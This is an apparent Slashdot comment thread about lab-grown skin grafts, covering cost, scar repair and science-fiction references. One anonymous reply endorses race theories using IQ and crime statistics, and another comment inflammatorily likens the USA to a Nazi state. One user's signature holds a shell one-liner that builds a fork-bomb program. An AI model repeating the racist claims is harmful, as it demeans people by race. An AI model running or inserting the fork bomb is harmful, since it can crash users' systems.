    PROTIP: YOU are "the Germans" now. The USA is the surviving one of the two Nazi states. The one that hired all the Nazi human experiment doctors and hid the key Nazis and STILL literally has concentration camps and rampant racism (hell, you are the ONLY ones still believing in fucking race theories!), and warmongering more, than the old Nazis ever could!

    1. Re:Feel the butthurt! by Anonymous Coward · · Score: 0

      Seriously, who can not believe in racial theories when you see black vs white IQ and crime stats over and over again? And it plays out irl examples again and again.

  27. How expensive is this? by jez9999 · · Score: 1

    I didn't know the ability to grow skin from existing skin cells was so advanced. Does this cost an insane amount? It would seem to be a good way to grown new skin that can be grafted on to replace scarred tissue.

    --
    == Jez ==
    Do you miss Firefox? Try Pale Moon.
    1. Re:How expensive is this? by Anonymous Coward · · Score: 1

      $2000 per 20x25cm sheet in 2001, plus other costs (transportation, surgery etc). I'd expect the price to come down as the technology gets developed and becomes more widely available. So for a full skin replacement it's pretty expensive, but not unmanageably so. It certainly seems in the realm of affordability for repairing smaller scars. https://science.howstuffworks.com/innovation/everyday-innovations/lab-grown-skin2.htm

    2. Re:How expensive is this? by Anonymous Coward · · Score: 0

      Bear in mind that it's more useful for large scars (eg burns). If it's a scar from a cut plastic surgery can repair that without growing new skin by cutting out the scar and pulling the sides together cleanly.

  28. Science Fiction becomes reality by Anonymous Coward · · Score: 0

    Anyone remember the DarkMan movie from 1990....

  29. Another prerequisite technology for SkyNet by Hal_Porter · · Score: 1

    http://www.imdb.com/title/tt00...

    Kyle Reese: [in a stolen car, while being chased by the police and the terminator] All right, listen. The Terminator's an infiltration unit: part man, part machine. Underneath, it's a hyperalloy combat chassis, microprocessor-controlled. Fully armored; very tough. But outside, it's living human tissue: flesh, skin, hair, blood - grown for the cyborgs.
    Sarah Connor: Look, Reese, I don't know what you want from...
    Kyle Reese: Pay attention! I gotta ditch this car.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  30. Forewarning by Unnamed+Chickenheart · · Score: 1

    ..."left him with raw, blistering sores over 80 percent of his body."...

    Well, that's a link I won't click. Thanks for the warning! =-]

    --
    urd
  31. Re: Whatever mental illness you have... get it fix by Anonymous Coward · · Score: 0

    Was that whooshing sound Russian warplanes on their way to bomb more civilians? Not this time.